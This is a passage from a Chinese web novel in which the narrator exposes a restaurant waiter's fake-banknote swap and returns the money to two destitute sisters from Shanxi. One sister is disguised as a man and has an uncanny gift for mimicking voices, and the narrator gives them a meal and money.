说着把原本要抽回去的手劲改成了向我面前送来,等我将他手里的那两张钞票接过去,又说道:“我们小本生意,最怕的就是收到假钞,如果我没看出来的话,今天一个晚上我们店就算是白忙活了,哎……”
我不管他的说话,拿起钱来对着灯光看了看然后一笑,伸出左手拢住他的肩膀向怀里轻轻一带:“来哥们,咱借一步说话!”
那伙计不知就里,抹身和我走到一处僻静的角落,看我坐到了一张桌旁,他也跟着坐在我旁边,用疑问的眼神看着我,不知我要说些什么。
“你这样不好,你看他们破衣啰嗦的根本不是有钱人,再说出门在外你不帮衬一下也就算了,何必落井下石呢?”
我对他轻声说道,一边说话一边用眼神撇了一下坐在七八米外焦急又关切的望向我们这边的那对父女。
“谁落井下石了?”
那伙计当即便有点上火,可是他毕竟做贼心虚,更何况我因为他的说话而转过头和他对视的眼神似乎告诉他,面前这个带着平静神情的男人已经洞悉了全部的事情真相,故此跟着便压低了声音续道:“哥……哥们,你这是什么意思?”
“你还问我什么意思,这钱不是你给调换的嘛?”
我把钞票放在桌上,用指甲在上面敲着说。
那服务员一听立刻就火了,急眉怪眼的叫道:“你……你他妈瞎说,你看见了?我操!”
“哎哎,咱说归说,别带脏字啊!”
我对这小子的嚣张气焰实在有点看不惯,当下稍有不满一阵冷笑:“哼哼,我刚才看的清楚,人家从兜里掏出的钱是对折着的,可你这两张却叠成了四折,这你怎么解释?”
说着我将压在钞票上的手指一抬,那两张纸币立刻向上拱起,变成了平躺着的S型。
伙计知道我已经看出了他的诡计,可他还在矢口狡辩:“你看见什么了,就……就凭这,凭这你就说我把钱调换了?没点吗病吧你?”
他虽然说的理直气壮,可毕竟心里理亏不敢再恶语相加,同时声音也放得更低了,生怕远处两个当事人听到回味过来,和我一块对他群起而攻。
见他还这么嘴硬,我无奈的摇头苦笑了一声,叹气道:“哎,你怎么就不明白呢……”
说到这里把那上面一张钞票拿了起来像看一幅图画一般反复观赏续道:“看这钱多新啊,肯定是刚发行出来没多久!”
“新……新币怎么了?市面上流通的新币多了去了,他刚才给我的这两张都是新钱啊?”
这家伙虽然不知道我说话的意思,可直觉告诉他我这么说一定有我的目的。
果然,等我把那张钱放回桌面之后说道:“刚才这张钞票你没让人家看过,一直抓在你自己手里。这么新的钱一定还没几个人摸过,你猜能不能检测出这上面的指纹呢?”
这下伙计明白了,第一张钞票他告诉那人是假的,还让人家验证过,而第二张他则并没给到那人手中,所以这张纸币上肯定没有顾客的指纹。
“哥们,红桥分局离这不到三里地,那里的几个警察和我还算有一面之识,要不要我请他们来帮咱调解一下啊?”
望着被我的话弄的如梦方醒的服务员,我轻描淡写的说道。
“大哥大哥,别啊!”
小伙计此时再也无言以对,但看我的架势并没有真的要叫警察来过问此事的意思,单单我将他叫到一边单独谈话就说明了我在这件事情上本来就打算息事宁人的。他也是个招子很亮的家伙,当即便换上了一副讨好卖乖的嘴脸,立刻从自己兜里取出了原本不属于他的那两百块钱递了过来:“大哥,小弟我一时糊涂,咱都是小老百姓都不容易,你放弟弟一马行吗?”
我的目的已经达到,懂得见好就收:“算了算了,没什么放不放的,我只是看他们两个挺可怜的,这才管这档子闲事……”
说着顺手接过那两张真钞续道:“下回别净找这些外地人欺负,有点缺德。”
“唉唉,不能够不能够,没下次了!”
那伙计忙点头称是,目送我站起转身离席,却没想到我走经他身边时俯身对着仍然傻坐在椅子上的他丢出一句话:“你们这的饺子真难吃,亏你还要十块钱一份!”
“啊?”
这服务员被我驴唇不对马嘴的说话弄的一傻,而我已经来到自己的座位上拿起书包向那对父女走去了。
我把两张钞票放到那被骗的男人面前的桌上,对一直好奇的盯着我看的小女孩笑了笑说:“这钱还给你们!”
父女二人原本囊中羞涩,这新得的两百块钱是他们唯一的资财,本打算用它慰藉一下饥肠辘辘了许久的五脏庙,却被人诬为假钞。他们社会经验本少,正不知道怎么全身离开这家餐馆,突然跑出个年轻人帮他们解了围,不由得满脸感激的望着我。
二人虽然在江湖骗术面前显得十分木讷,却也并不傻,尽管听不太真切,但看我和那伙计的言语时的神情,也知道了个大概。那小丫头气的撅起了嘴,小声啐道:“骗子,又是骗子!城里的骗子真多!”
“二丫,别乱说!”
男人轻喝一声阻止了女儿的责骂,旋即站起身扭过头满脸感激的对我说道:“大兄弟,真谢谢你了……”
他还想说些什么,可我接下来的举动却实在出乎他的意料,只见我突然一只手抓起了他放在旁边椅子上的包袱,另一只手领过小女孩的手腕向外就走,嘴里说道:“你们两个跟我来!”
在我的胁迫之下,二人随我出了那回民饭馆,来到对面一家名为山西老面馆的小酒楼。二楼的一个包厢里,父女二人畏畏缩缩的坐到了离我八丈远的桌子对面,看着我在服务员的指引下一道道点着菜:“嗯……大拉皮……过油肉……糖醋鲤鱼……孜然小扒鸡,再来个疙瘩汤。行了这就这些,要快啊!”
训练有素的服务员应了一声,迅速填好单转身出去了。
此时屋内就剩下我们三人,那男的终于按耐不住,但他刚想开口发问,却见我拿过茶壶在自己杯子中到了一杯茶水,双手持杯用杯底在圆桌的玻璃转盘上‘当当当’磕了三下,然后说了个“请”字,扬脖一口喝干了。
我将杯中茶水咽下之后,作势要起身给他们倒水,那人立刻抢过了茶壶,嘴里连说:“不敢劳烦大兄弟,不敢不敢!”
然后在他女儿和自己的杯子里倒了茶,却并不喝下。
其实我这种敬茶的方式是从顾振海那里听说的,这有个讲究,叫做‘凤凰三点头’,是江湖上初次相识一种普遍的礼貌问候。如果他是在道上混的人应该用两手将自己的空杯拿起呈抱拳姿势向外一敬,反手将杯子口冲下示意是只空杯,然后倒上水高举过头顶再喝下,这叫‘朝天一柱香’。但他明显不懂这些江湖套路,竟是一副诚惶诚恐的模样,再想想他们先前的表现,当下我便断定这人满身的寒酸落魄并不是伪装出来的。
见我如此古怪的举动,二人面面相觑更是莫名其妙,那成年人尚且畏缩的不敢直言以对,可小姑娘却憋不住了,没好气的问道:“喂,你把我们带到这里想干吗,是不是也想骗我们啊?我可告诉你我们现在身上一个子也没有了,你少打主意!”
看那架势真有种光脚不怕穿鞋的初生之犊的意味,我心里也不禁暗自钦佩。
就在旁边的家长正想喝斥女儿的无礼行为的时候,我已经直接回答了她的问题:“不不不,我只是看你们不容易,想请你们吃顿家乡菜而已……”
旋即我向后一仰依在椅背上,双手插兜很休闲的续道:“说道这个‘骗’字,你们不是刚从大马路上骗来那两百块钱么,怎么还反说我是骗子呢?”
当我说到‘家乡菜’的时候那人面色一变,后来又听我揭破他们刚才碰瓷的丑事脸上更是阴晴不定。“大兄弟,我们……”
他刚想辩解两句,却看我一直笑吟吟的盯着自己身边的女儿,立刻觉得事情不妥,不自觉地蹭到了女儿身边,用手搂住了她,似乎生怕我对其做出什么不利的举动一般。
我却没有在意,反而是笑着对那小女孩问道:“小妹妹,这位是你的姐姐还是妈妈呀,你们叫什么名字?”
早在回民饭馆里我便开始怀疑这所谓的‘男人’的性别和二人的来历了。因为当时我坐的离她很近,可以清楚地看见她周身的许多细节。细致观察之下,我发现她口鼻之间和下巴上的胡子并不对称,明显是粘上去的假货。脸蛋上虽然呈蜡黄色,可皮肤十分细腻;那只一直露在外面拿着筷子的右手,虽有些脏兮兮但却很白,完全和脸孔上的颜色不协调;特别是五指纤细更是非常明显。这些特征都不是一个农村出身的三十来岁的男人应该有的,更不要说她仰天看钞票时脖颈顺滑平坦,完全没有喉结的最大破绽了。说到底她的化妆并不到位,仔细看谁都会产生怀疑,如果不是她一口浑然天成的男人口音,恐怕根本无法掩饰的住。
至于二人的籍贯我则是透过两个细节猜到的。她们在那黑店用餐时,这人曾小声和女娃说了一句话,当时她便是用的山西方言。那时她是和同伴对话,并没有注意有旁人在场,故此才说出了家乡话,而且语调也不似对别人时那么粗声,颇似个女人的声音。再有就是二人在进回民餐馆之前,那个小女孩曾经指着街对面这家山西面馆和‘父亲’说了一句,但还是被拉到了招牌破旧貌似更为廉价的清真小店里去了,显然是因为‘他乡遇故知’的缘故。由此看来,这人虽然先后用了三个声阶、语调、音频截然不同的声音,说出了三种地方话,可只有她们是山西人的可能性最大。
“什……什么姐姐妈妈的?她是我爸!”
小女孩听我这么问先是一下迟疑,然后立刻反驳。这女孩子可能因为没有变声的本事,所以一直都不怎么说话,此时面对我连续的交谈,带出了无法掩盖的山西味道,这便使我更加确信了自己的判断。
那‘男人’也接道:“是啊,大哥,我……我这么个大男人你怎么偏说我是娘们呢?这……这不是骂我吗?”
她虽然说的言之凿凿较她‘女儿’更有逻辑,可语气明显十分怯懦混,没有小女孩来的理直气壮。虽然她想到刚才的车祸我在场,在口音上的辩解是徒劳的,但终不承认自己是女人的事实。
“别这么说,我要真想确定你的性别有很多种方法!”
我没有理会那女扮男装的‘而立男子’因为我语气的肯定而不断变颜变色的表情,伸手拿过茶壶又倒了一杯茶,一边小口喝着一边温言道:“其实我只是对你们的故事有些好奇想听听,没准还能帮到你们,我并没有什么恶意,如果你们不信我,现在立刻就走我也不会强留!”
“姐,咱们走!”
小女孩依旧天不怕地不怕的脾气,站起身来拿过被我搁在她身边的包袱,就来领旁边人的手。
那个被称作姐姐的人并没有顺着她的意思离席,反而轻轻将她按回了椅子:“二丫坐下!”
然后回过头双目无力的看着我,良久才换成了清脆甜美的女生,用山西话说道:“好吧,我都告诉你!”……
原来这是一对亲姐妹,化装成男人的是姐姐叫做陈大丫,今年不过二十二岁,那小女孩叫做陈二丫只有十五岁。她们是山西省临汾市边上陈家庄的人,父母都在矿上做工,留下两姐妹在家。一个月以前一次矿难中父亲被压死在井下,母亲听说这惊天的噩耗急火攻心一下没抢救过来也跟着去了。二女得知之后怀着悲痛欲绝的心情,在村里好心人的帮助下总算安葬了父母的遗体。可是在村中知近的亲戚再没有一个了,她们无依无靠之下只得来天津投靠唯一的亲人,她们的姑姑。谁知在镇上买的二手手机刚一下开往临汾火车站的长途汽车便被人骗去了,二人只好依着地址来到天津。天津的火车站月台上,大丫在好心人的指点下打算用投币的公用电话联系住在市内的姑姑,却因此差一点使二丫被人口贩子拐跑。虽然大丫终于救下了自己的妹妹,但写着联系方式和住址的字条却失落了,两个人只好凭着记忆去她们姑姑的居住地找寻。不巧的是邻居告知,她们的姑姑也在前不久死掉了,二人投亲不遇败兴离开,公车上又被人偷走了全部的钱财,落得个身无分文的下场。走投无路的时候看见有人用碰瓷的伎俩光天化日诈骗路人,这才有了今天晚上照猫画虎的拦住沈父的轿车这一幕。
听完陈大丫那醇美女生原音的讲述,我心里十分的酸楚难耐,而她妹妹天真无邪的表情又清楚地告诉我,这些话语都是铁一般的事实。如此凄惨命运之下的两个女孩,就活生生坐在我面前,她们丧失亲人无依无靠的境遇我又何尝没有亲身经历过呢?
想到这里我从随身的书包里翻出了所有的钱,这里包括沈丹爸爸今天给我结算的两千多块的家教劳务费和我一些随身的资金,加起来总共差不多有三千元。我把钱拿出来整理好,推到陈大丫面前说道:“我身上只有这么多了,你先拿去用……”
看着我几张几张的搜出这么一叠百元钞票,也不知是因我过于慷慨的表现还是奇怪我一个普通人身上竟带了这么多的现金,大丫满脸的惊奇。待我如她所料真的把这些钱都搁到她面前要她收下时,本分的乡下妹子还是无比的惶恐:“不不不,我们不能要,这么多钱……”
在她说话时服务员已经陆续将我点的几样山西有名的菜品端上了桌。我见大丫硬是把那些钱推到了离她一臂之外的地方,也不强行和她争让,径自走到二人近处一张椅子上坐下,夹起一块肉片放到二丫碗里:“不说这些了,先吃东西吧。我看出来了,刚才你们两个人吃一盘饺子根本没吃饱。来来,再吃点,咱们边吃边聊!”
陈大丫续说往事的时候,二丫一脸的凄苦好不令人怜惜,此时见几道耳熟能详的家乡菜一上桌,那诱人的香气直扑小女孩稚嫩的俏脸,一下子便打开了因窘迫境地被强行关闭的五脏庙门,圆润小脸上一对水汪汪的大眼睛羡慕、期盼的盯着桌上的菜肴,小嘴微咀正自强忍食欲带来的冲动,喉头一股一股的明显在吞咽馋涎。当下便要开动,却被一旁的姐姐皱眉咬唇轻轻摇头的示意无情的制止了。
“大……大哥,我们根本就不认识,刚才多亏了你才没被人骗了,现在怎么好意思再让你破费?”
陈大丫扭捏着说道,但左看看自己几乎要忍不住大快朵颐的小妹妹右看看一脸挚情满脸诚意的好心人,却也颇感为难。
这当口我又给她们每人盛了一碗香喷喷的疙瘩汤,一边给二人夹菜一边自己也吃了起来,听她这么说答道:“别客气,出门在外都不容易……”
说着拿起二丫的筷子强行塞到她手上。
陈二丫毕竟少不更事,少了姐姐的顾虑多了成年人没有的天真烂漫,当下再也无法克制终于接筷在手开动起来。大丫见我确实没什么歹意,而妹妹也已经开始吃喝,也只好随着我们二人吃上了。
“怎么样,我们城里人不都是骗子吧,也有好人。”
我边吃便给年幼的女孩夹菜,出言逗她。陈二丫正大吃大嚼,听我说话没有回答,抬头冲我甜甜一笑。
我饿了一天此时方吃到较为可口的饭菜,又是自己花钱,自不必客气。二丫更是饥肠久已,也是不拘礼貌丑相毕露。只有陈大丫一直心事重重,偶尔给妹妹夹夹菜,自己却吃的极少也是极慢。
三人边吃边聊之际,我突然想起一事,停下问道:“对了,陈大姐,你怎么学男人说话学得这么想,完全听不出是个女孩子的声音,而且每种声音都不一样,这是怎么回事啊?”
陈大丫还没说话,二丫已经抢着回答:“呵呵,你不知道,我姐姐生下来就是个哑巴,三年前突然会说话了。村子里的老人说是地仙公显灵给治好的,也有人说是常年喝了山上的九龙泉水的原因。反正大家说什么的都有,我们自己也不知道是怎么回事。”
起初逼问她们身份来历时,这小丫头对我颇有敌意一直怒目而视,此时见我慷慨解囊又请她们饱餐家乡菜肴,又对我顿生好感。现在她吃了个七八分饱,肚子里有了底话也开始多起来,竟是完全没有注意到姐姐正频频给她使眼色,又接着说道:“不过这还不是最奇怪的,更不可思议的是姐姐她自从开口说话之后居然能模仿别人的声音了。无论谁讲话只要让她听到,哪怕一句,她就能一点不差的照着这个声音讲话,闭上眼睛一听,就好像是那个人站在面前一样。你说奇不奇,呵呵!”
虽然我早已领教过陈大丫过人的唇舌绝技,可当听到她妹妹如数家珍般的描述,心里还是无法遏制的震惊。原来那些声音不是她凭空制造出来的,而是纯属模仿的,这简直到了匪夷所思的地步,几乎颠覆了我根深蒂固的现代医学常识。当下再无法掩饰内心的好奇,不禁问道:“真的吗,会有这种事?”
“哟,你还不信呐?”
二丫说着扭头抓住陈大丫的胳膊摇晃着说:“姐,你给她露一手瞧瞧呗?”
陈大丫本不想妹妹这么张扬,可是事已至此再也无法掩盖,更何况面前的男人正是给自己姐妹雪中送炭的恩人,也只好勉为其难了,当下冲我腼腆的一笑说道:“我们这些乡下人的玩意不值一提,大哥要听就当个乐听吧!”
说完清了清嗓子,目不斜视的望向正前方,换了另一种声音说道:“真的吗,会有这种事?”
当这八个再也平常不过的字眼钻进我的耳朵时,我整个人都呆住了,原来那便是我刚才随口冒出的一句话。可现在这句话从陈大丫嘴里说出,无论语调、语气、语速都和我刚才的说话一模一样。
“我的天哪,这简直太不可思议了!”
我像看外星人一样直勾勾的盯着面前这个皮肤蜡黄一脸土气的人,几乎不敢相信自己的耳朵。
“我的天哪,这简直太不可思议了!”
不成想陈大丫紧跟着便把我这句话原封不动的从他自己嘴里说了出来,是那么的自然那么的完美,简直就像另一个我坐在我旁边一样。
看我呆若木鸡的样子二丫笑得前仰后合,而大丫此时已经慢慢将头扭了过来,面对面看着我问道:“大哥,这是你的声音,我学的像不像?”
如果说先前的两句话是陈大丫拷贝我的话,这我多少还能自圆其说,那无非是个会动会走的录音机而已。可这句‘大哥,这是你的声音,我学的像不像?’则不然,这句话我没说过,可她明明就是用的我的声音说出来的。现在我对这个和自己年龄相仿的乡下女孩简直惊为天人,如果她这个绝技被更多人所熟知,这个人绝对会被送到科学研究院给生物学家拿来研究。
过了好半天我才从梦境神游中脱离出来,不禁说道:“行了行了,别在模仿我说话了,听着自己的声音从别人嘴里发出来真别扭!”
二丫见惯了自己姐姐的绝技,听她轻描淡写复制了我的声音似乎还意犹未尽,说道:“姐,再来一个再来一个!”
一边说一边摇晃着姐姐的衣袖。
“好——”
陈大丫架不住妹妹的撒娇,只好顺从的再一次改变了声音说道:“先生,菜齐了您慢用,请问还有什么需要没有?我们这的餐具和纸巾是不收费的,请随便使用。”
这次竟是刚才上菜的女服员的声音了,只不过前半句是人家的原话,后半句什么‘餐具和纸巾不收费’之类的是大丫自己杜撰出来的。
“乖乖,你太厉害了!”
我眼睛盯着大丫,轻轻地摇着头,暗自赞叹天工造化的玄妙。
大丫莞尔一笑清了清嗓子,却看我兀自直勾勾的盯着她,又是脸上一红低下头去,用她自己的声音含羞道:“大哥,大哥……”
“啊?”
我傻傻的应了一声。
陈大丫娇声低语道:“大哥你别总是看我,菜都凉了……”
我一直沉浸在她生花妙舌的惊人绝技之中,竟是没有注意到对方虽然一身男人打扮,可毕竟是个女孩子,我这么不错眼珠的瞅着人家看是很失礼的,当下立刻将头转了过来。
经过这番接触,两个女孩心情也变得愉快多了,即便是因为屡遭欺骗把时下境遇看的如履薄冰的陈大丫也开怀了不少,再没有最初的拘谨和顾虑。交谈中我告诉了她们一些关于我的简单情况和联系方式,问清她们暂时不打算回老家,便指点了几处市区比较方便又比较廉价的平房区供她们自己寻去租住。
看了看屋里的挂表我发现已近十一点了,当下站起身来说道:“太晚了,我该走了,你们自己先找地方安顿下来,有什么需要可以随时来找我!”
说着又把自己的姓名和联络方式重复了一遍,然后拿起书包转身走出了屋去。
“杨大哥,你的钱……”
等我走出门时陈大丫才发现我起初拿出来给她而她没收下的那些钱还放在桌上,但待她拿起来追出屋外时,已经找不到我的身影了。